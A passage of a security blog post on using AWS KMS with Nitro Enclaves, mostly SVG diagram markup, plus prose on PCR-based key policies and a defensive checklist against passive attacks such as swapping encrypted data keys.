<path d="M 304,112 L 312,112" fill="none" stroke="currentColor"></path>
<path d="M 320,112 L 328,112" fill="none" stroke="currentColor"></path>
<path d="M 336,112 L 344,112" fill="none" stroke="currentColor"></path>
<path d="M 352,112 L 360,112" fill="none" stroke="currentColor"></path>
<path d="M 368,112 L 376,112" fill="none" stroke="currentColor"></path>
<path d="M 384,112 L 392,112" fill="none" stroke="currentColor"></path>
<path d="M 400,112 L 408,112" fill="none" stroke="currentColor"></path>
<path d="M 416,112 L 424,112" fill="none" stroke="currentColor"></path>
<path d="M 432,112 L 440,112" fill="none" stroke="currentColor"></path>
<path d="M 448,112 L 456,112" fill="none" stroke="currentColor"></path>
<path d="M 464,112 L 472,112" fill="none" stroke="currentColor"></path>
<path d="M 480,112 L 488,112" fill="none" stroke="currentColor"></path>
<path d="M 496,112 L 504,112" fill="none" stroke="currentColor"></path>
<path d="M 512,112 L 520,112" fill="none" stroke="currentColor"></path>
<path d="M 528,112 L 536,112" fill="none" stroke="currentColor"></path>
<path d="M 240,144 L 264,144" fill="none" stroke="currentColor"></path>
<path d="M 448,160 L 456,160" fill="none" stroke="currentColor"></path>
<path d="M 248,176 L 264,176" fill="none" stroke="currentColor"></path>
<path d="M 40,224 L 240,224" fill="none" stroke="currentColor"></path>
<path d="M 40,272 L 48,272" fill="none" stroke="currentColor"></path>
<path d="M 56,272 L 64,272" fill="none" stroke="currentColor"></path>
<path d="M 72,272 L 80,272" fill="none" stroke="currentColor"></path>
<path d="M 88,272 L 96,272" fill="none" stroke="currentColor"></path>
<path d="M 104,272 L 112,272" fill="none" stroke="currentColor"></path>
<path d="M 120,272 L 128,272" fill="none" stroke="currentColor"></path>
<path d="M 136,272 L 144,272" fill="none" stroke="currentColor"></path>
<path d="M 152,272 L 160,272" fill="none" stroke="currentColor"></path>
<path d="M 168,272 L 176,272" fill="none" stroke="currentColor"></path>
<path d="M 184,272 L 192,272" fill="none" stroke="currentColor"></path>
<path d="M 200,272 L 208,272" fill="none" stroke="currentColor"></path>
<path d="M 216,272 L 232,272" fill="none" stroke="currentColor"></path>
<path d="M 240,320 L 536,320" fill="none" stroke="currentColor"></path>
<path d="M 248,368 L 256,368" fill="none" stroke="currentColor"></path>
<path d="M 272,368 L 280,368" fill="none" stroke="currentColor"></path>
<path d="M 288,368 L 296,368" fill="none" stroke="currentColor"></path>
<path d="M 304,368 L 312,368" fill="none" stroke="currentColor"></path>
<path d="M 320,368 L 328,368" fill="none" stroke="currentColor"></path>
<path d="M 336,368 L 344,368" fill="none" stroke="currentColor"></path>
<path d="M 352,368 L 360,368" fill="none" stroke="currentColor"></path>
<path d="M 368,368 L 376,368" fill="none" stroke="currentColor"></path>
<path d="M 384,368 L 392,368" fill="none" stroke="currentColor"></path>
<path d="M 400,368 L 408,368" fill="none" stroke="currentColor"></path>
<path d="M 416,368 L 424,368" fill="none" stroke="currentColor"></path>
<path d="M 432,368 L 440,368" fill="none" stroke="currentColor"></path>
<path d="M 448,368 L 456,368" fill="none" stroke="currentColor"></path>
<path d="M 464,368 L 472,368" fill="none" stroke="currentColor"></path>
<path d="M 480,368 L 488,368" fill="none" stroke="currentColor"></path>
<path d="M 496,368 L 504,368" fill="none" stroke="currentColor"></path>
<path d="M 512,368 L 520,368" fill="none" stroke="currentColor"></path>
<path d="M 528,368 L 536,368" fill="none" stroke="currentColor"></path>
<path d="M 240,400 L 264,400" fill="none" stroke="currentColor"></path>
<path d="M 464,416 L 472,416" fill="none" stroke="currentColor"></path>
<path d="M 248,432 L 264,432" fill="none" stroke="currentColor"></path>
<path d="M 32,16 L 32,448" fill="none" stroke="currentColor"></path>
<path d="M 240,16 L 240,48" fill="none" stroke="currentColor"></path>
<path d="M 240,48 L 240,144" fill="none" stroke="currentColor"></path>
<path d="M 240,144 L 240,224" fill="none" stroke="currentColor"></path>
<path d="M 240,224 L 240,320" fill="none" stroke="currentColor"></path>
<path d="M 240,320 L 240,400" fill="none" stroke="currentColor"></path>
<path d="M 240,400 L 240,448" fill="none" stroke="currentColor"></path>
<path d="M 264,144 L 264,176" fill="none" stroke="currentColor"></path>
<path d="M 264,400 L 264,432" fill="none" stroke="currentColor"></path>
<path d="M 544,16 L 544,448" fill="none" stroke="currentColor"></path>
<polygon points="48.000000,224.000000 36.000000,218.399994 36.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 40.000000, 224.000000)"></polygon>
<polygon points="240.000000,272.000000 228.000000,266.399994 228.000000,277.600006" fill="currentColor" transform="rotate(0.000000, 232.000000, 272.000000)"></polygon>
<polygon points="256.000000,112.000000 244.000000,106.400002 244.000000,117.599998" fill="currentColor" transform="rotate(180.000000, 248.000000, 112.000000)"></polygon>
<polygon points="256.000000,176.000000 244.000000,170.399994 244.000000,181.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 176.000000)"></polygon>
<polygon points="256.000000,368.000000 244.000000,362.399994 244.000000,373.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 368.000000)"></polygon>
<polygon points="256.000000,432.000000 244.000000,426.399994 244.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 248.000000, 432.000000)"></polygon>
<polygon points="464.000000,160.000000 452.000000,154.399994 452.000000,165.600006" fill="currentColor" transform="rotate(0.000000, 456.000000, 160.000000)"></polygon>
<polygon points="480.000000,416.000000 468.000000,410.399994 468.000000,421.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 416.000000)"></polygon>
<polygon points="544.000000,48.000000 532.000000,42.400002 532.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 536.000000, 48.000000)"></polygon>
<polygon points="544.000000,320.000000 532.000000,314.399994 532.000000,325.600006" fill="currentColor" transform="rotate(0.000000, 536.000000, 320.000000)"></polygon>
<text text-anchor="middle" x="0" y="4" fill="currentColor">S</text>
<text text-anchor="middle" x="8" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="16" y="4" fill="currentColor">o</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">g</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="56" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="56" y="260" fill="currentColor">E</text>
<text text-anchor="middle" x="64" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="64" y="260" fill="currentColor">_</text>
<text text-anchor="middle" x="72" y="212" fill="currentColor">o</text>
<text text-anchor="middle" x="72" y="260" fill="currentColor">d</text>
<text text-anchor="middle" x="80" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="80" y="260" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">_</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="256" y="308" fill="currentColor">D</text>
<text text-anchor="middle" x="264" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="264" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="356" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="272" y="100" fill="currentColor">E</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="272" y="356" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">_</text>
<text text-anchor="middle" x="280" y="100" fill="currentColor">_</text>
<text text-anchor="middle" x="280" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="280" y="356" fill="currentColor">_</text>
<text text-anchor="middle" x="280" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">a</text>
<text text-anchor="middle" x="288" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="288" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="288" y="356" fill="currentColor">a</text>
<text text-anchor="middle" x="288" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="296" y="356" fill="currentColor">2</text>
<text text-anchor="middle" x="296" y="420" fill="currentColor">c</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="100" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="356" fill="currentColor">=</text>
<text text-anchor="middle" x="304" y="420" fill="currentColor">(</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="312" y="356" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="420" fill="currentColor">a</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="356" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="420" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="308" fill="currentColor">m</text>
<text text-anchor="middle" x="328" y="356" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="420" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">a</text>
<text text-anchor="middle" x="336" y="100" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="356" fill="currentColor">(</text>
<text text-anchor="middle" x="336" y="420" fill="currentColor">e</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">t</text>
<text text-anchor="middle" x="344" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">s</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="344" y="356" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">s</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="100" fill="currentColor">m</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="352" y="356" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="360" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="356" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">_</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">s</text>
<text text-anchor="middle" x="368" y="100" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">p</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="356" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="420" fill="currentColor">p</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">t</text>
<text text-anchor="middle" x="376" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">r</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">E</text>
<text text-anchor="middle" x="376" y="356" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="420" fill="currentColor">r</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">_</text>
<text text-anchor="middle" x="384" y="100" fill="currentColor">k</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">i</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="384" y="356" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="420" fill="currentColor">i</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">p</text>
<text text-anchor="middle" x="392" y="100" fill="currentColor">)</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">v</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="356" fill="currentColor">_</text>
<text text-anchor="middle" x="392" y="420" fill="currentColor">v</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">u</text>
<text text-anchor="middle" x="400" y="100" fill="currentColor">}</text>
<text text-anchor="middle" x="400" y="164" fill="currentColor">,</text>
<text text-anchor="middle" x="400" y="308" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="356" fill="currentColor">p</text>
<text text-anchor="middle" x="400" y="420" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">b</text>
<text text-anchor="middle" x="408" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="408" y="308" fill="currentColor">,</text>
<text text-anchor="middle" x="408" y="356" fill="currentColor">u</text>
<text text-anchor="middle" x="408" y="420" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="416" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="416" y="356" fill="currentColor">b</text>
<text text-anchor="middle" x="416" y="420" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="424" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="424" y="356" fill="currentColor">2</text>
<text text-anchor="middle" x="424" y="420" fill="currentColor">_</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="432" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="432" y="356" fill="currentColor">,</text>
<text text-anchor="middle" x="432" y="420" fill="currentColor">a</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="440" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="440" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="440" y="356" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="420" fill="currentColor">2</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="448" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="448" y="356" fill="currentColor">k</text>
<text text-anchor="middle" x="448" y="420" fill="currentColor">)</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="456" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="456" y="356" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="464" y="308" fill="currentColor">_</text>
<text text-anchor="middle" x="464" y="356" fill="currentColor">}</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">s</text>
<text text-anchor="middle" x="472" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="472" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="480" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="480" y="308" fill="currentColor">u</text>
<text text-anchor="middle" x="488" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="488" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="488" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="496" y="36" fill="currentColor">p</text>
<text text-anchor="middle" x="496" y="308" fill="currentColor">2</text>
<text text-anchor="middle" x="496" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="504" y="36" fill="currentColor">u</text>
<text text-anchor="middle" x="504" y="308" fill="currentColor">)</text>
<text text-anchor="middle" x="512" y="36" fill="currentColor">b</text>
<text text-anchor="middle" x="520" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="528" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="536" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="544" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 2: Basic KMS operations with enclave attestation.</span></figcaption></figure>
<h2>Use cases</h2>
<p>KMS can be integrated with Nitro Enclaves for various reasons: for application-specific needs, to
sign enclave image files (EIFs), or to increase the entropy available in the enclave.</p>
<p>The application-specific use cases are based on KMS’ ability to verify attestation documents, which
in turn enables developers to write KMS authorization policies based on PCR measurements from the
attestation. A common use case is implementation of <a href="https://blog.trailofbits.com/2023/12/18/a-trail-of-flipping-bits/">authenticated external
storage</a> for the enclaves. When access to KMS keys is
restricted by PCRs 0-2, only a specific enclave version has access to the keys.</p>
<p>Enclave image files can be signed. Any signing certificate (private key) can be used for the task,
but the <a href="https://docs.aws.amazon.com/enclaves/latest/user/cmd-nitro-sign-eif.html">officially supported
ways</a> include signing with
a key stored in a local file, and via KMS. The signing certificate used for the EIF is then <a href="https://docs.aws.amazon.com/enclaves/latest/user/set-up-attestation.html">exposed
as PCR8</a>. This PCR can be
used in KMS policies. This feature lets one to restrict access to KMS keys to enclaves created by
the same developer, while developer identity is protected by the KMS too.</p>
<p>Finally, the <a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateRandom.html"><code>GenerateRandom</code> method of
KMS</a> can be used to
<a href="https://blog.trailofbits.com/2024/09/24/notes-on-aws-nitro-enclaves-attack-surface/#randomness">add more entropy to the
enclave</a>. While not critically
important – enclaves already have access to high quality entropy from the hypervisor – additional
randomness may increase trust in the system. On the other hand, one may argue that the added
complexity exceeds the benefits. No strong opinions here.</p>
<h2>Passive attack prevention</h2>
<p>Threats to the enclave-KMS communication can be divided into two categories: passive and active.
Passive attackers can observe traffic and modify data that is stored outside of the enclave and is
not attested. Active attackers can additionally modify all traffic coming in and out of the enclave.</p>
<p>The exact landscape of passive attacks depends on specific system design, but KMS operations allow
us to reason about them fairly well, as an attacker can control any and all of the inputs to these
operations. This tl;dr checklist helps avoid passive attacks:</p>
<ul>
<li> Requests to KMS always contain the <code>Recipient</code> parameter.</li>
<li> Encryption context is used for supported operations.
<ul>
<li> Context is decided by enclaves, and is not fully attacker-controlled.</li>
<li> <code>Encrypt</code> and <code>GenDataKey</code> operations are authorized properly.</li>
</ul>
</li>
<li> Data encrypted with data keys has context.
<ul>
<li> Key commitment is considered.</li>
</ul>
</li>
<li> Correct CMK is used.
<ul>
<li> CMK ARN is hardcoded.</li>
<li> <code>keyId</code> from response is checked.</li>
<li> <code>Decrypt</code> requests always specify key ID.</li>
<li> IAM role is attested.</li>
<li> Full ARNs are used, key aliases are not used.</li>
</ul>
</li>
<li> Freshness/replay attacks are mitigated.</li>
<li> Side-channel attacks are considered.</li>
<li> Key types and cryptographic algorithms are validated.</li>
</ul>
<p>The <a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_RecipientInfo.html"><code>Recipient</code>
parameter</a> includes
attestation, which allows KMS to validate PCRs. If key policies are correctly configured, requests
without this param fail, so it is rather hard to miss.</p>
<p>A single CMK key can be used to generate multiple data keys and shared secrets. Since the encrypted
data keys are stored outside of the enclave, an attacker can swap them. It is therefore important to
cryptographically distinguish the ciphertexts, and the <a href="https://docs.aws.amazon.com/kms/latest/developerguide/encrypt_context.html">encryption
context</a> is one of the
ways to achieve that. Importantly, this solution works only if the attacker does not have full
control over the encryption context; if they do, they can swap the ciphertext blob while also making
the enclave use the wrong context.</p>
<p>Below are diagrams for simple “data swap” attacks that encryption contexts can prevent.</p>
<figure>
 <div class="tabs">

<label class="tabs__label" for="tabs-5-0">Attack</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 825">
 <g transform="translate(8,16)">
<path d="M 256,48 L 496,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 496,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 56,144 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,192 L 496,192" fill="none" stroke="currentColor"></path>
<path d="M 264,240 L 272,240" fill="none" stroke="currentColor"></path>
<path d="M 288,240 L 296,240" fill="none" stroke="currentColor"></path>
<path d="M 304,240 L 312,240" fill="none" stroke="currentColor"></path>
<path d="M 320,240 L 328,240" fill="none" stroke="currentColor"></path>
<path d="M 336,240 L 344,240" fill="none" stroke="currentColor"></path>
<path d="M 352,240 L 360,240" fill="none" stroke="currentColor"></path>
<path d="M 368,240 L 376,240" fill="none" stroke="currentColor"></path>
<path d="M 384,240 L 392,240" fill="none" stroke="currentColor"></path>
<path d="M 400,240 L 408,240" fill="none" stroke="currentColor"></path>
<path d="M 416,240 L 424,240" fill="none" stroke="currentColor"></path>
<path d="M 432,240 L 440,240" fill="none" stroke="currentColor"></path>
<path d="M 448,240 L 456,240" fill="none" stroke="currentColor"></path>
<path d="M 464,240 L 472,240" fill="none" stroke="currentColor"></path>
<path d="M 480,240 L 488,240" fill="none" stroke="currentColor"></path>
<path d="M 496,240 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 56,288 L 256,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 64,336" fill="none" stroke="currentColor"></path>
<path d="M 72,336 L 80,336" fill="none" stroke="currentColor"></path>
<path d="M 88,336 L 96,336" fill="none" stroke="currentColor"></path>
<path d="M 104,336 L 112,336" fill="none" stroke="currentColor"></path>
<path d="M 120,336 L 128,336" fill="none" stroke="currentColor"></path>
<path d="M 136,336 L 144,336" fill="none" stroke="currentColor"></path>
<path d="M 152,336 L 160,336" fill="none" stroke="currentColor"></path>
<path d="M 168,336 L 176,336" fill="none" stroke="currentColor"></path>
<path d="M 184,336 L 192,336" fill="none" stroke="currentColor"></path>
<path d="M 200,336 L 208,336" fill="none" stroke="currentColor"></path>
<path d="M 216,336 L 224,336" fill="none" stroke="currentColor"></path>
<path d="M 232,336 L 248,336" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 496,384" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 272,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 480,432 L 488,432" fill="none" stroke="currentColor"></path>
<path d="M 496,432 L 504,432" fill="none" stroke="currentColor"></path>
<path d="M 256,464 L 280,464" fill="none" stroke="currentColor"></path>
<path d="M 376,480 L 384,480" fill="none" stroke="currentColor"></path>
<path d="M 264,496 L 280,496" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 104,528" fill="none" stroke="currentColor"></path>
<path d="M 256,528 L 504,528" fill="none" stroke="currentColor"></path>
<path d="M 504,528 L 520,528" fill="none" stroke="currentColor"></path>
<path d="M 56,592 L 64,592" fill="none" stroke="currentColor"></path>
<path d="M 72,592 L 80,592" fill="none" stroke="currentColor"></path>
<path d="M 88,592 L 96,592" fill="none" stroke="currentColor"></path>
<path d="M 104,592 L 112,592" fill="none" stroke="currentColor"></path>
<path d="M 120,592 L 128,592" fill="none" stroke="currentColor"></path>
<path d="M 136,592 L 144,592" fill="none" stroke="currentColor"></path>
<path d="M 152,592 L 160,592" fill="none" stroke="currentColor"></path>
<path d="M 168,592 L 176,592" fill="none" stroke="currentColor"></path>
<path d="M 184,592 L 192,592" fill="none" stroke="currentColor"></path>
<path d="M 200,592 L 208,592" fill="none" stroke="currentColor"></path>
<path d="M 216,592 L 224,592" fill="none" stroke="currentColor"></path>
<path d="M 232,592 L 248,592" fill="none" stroke="currentColor"></path>
<path d="M 256,640 L 496,640" fill="none" stroke="currentColor"></path>
<path d="M 264,688 L 272,688" fill="none" stroke="currentColor"></path>
<path d="M 288,688 L 296,688" fill="none" stroke="currentColor"></path>
<path d="M 304,688 L 312,688" fill="none" stroke="currentColor"></path>
<path d="M 320,688 L 328,688" fill="none" stroke="currentColor"></path>
<path d="M 336,688 L 344,688" fill="none" stroke="currentColor"></path>
<path d="M 352,688 L 360,688" fill="none" stroke="currentColor"></path>
<path d="M 368,688 L 376,688" fill="none" stroke="currentColor"></path>
<path d="M 384,688 L 392,688" fill="none" stroke="currentColor"></path>
<path d="M 400,688 L 408,688" fill="none" stroke="currentColor"></path>
<path d="M 416,688 L 424,688" fill="none" stroke="currentColor"></path>
<path d="M 432,688 L 440,688" fill="none" stroke="currentColor"></path>
<path d="M 448,688 L 456,688" fill="none" stroke="currentColor"></path>
<path d="M 464,688 L 472,688" fill="none" stroke="currentColor"></path>
<path d="M 480,688 L 488,688" fill="none" stroke="currentColor"></path>
<path d="M 496,688 L 504,688" fill="none" stroke="currentColor"></path>
<path d="M 256,720 L 280,720" fill="none" stroke="currentColor"></path>
<path d="M 392,736 L 400,736" fill="none" stroke="currentColor"></path>
<path d="M 264,752 L 280,752" fill="none" stroke="currentColor"></path>
<path d="M 0,784 L 48,784" fill="none" stroke="currentColor"></path>
<path d="M 48,784 L 256,784" fill="none" stroke="currentColor"></path>
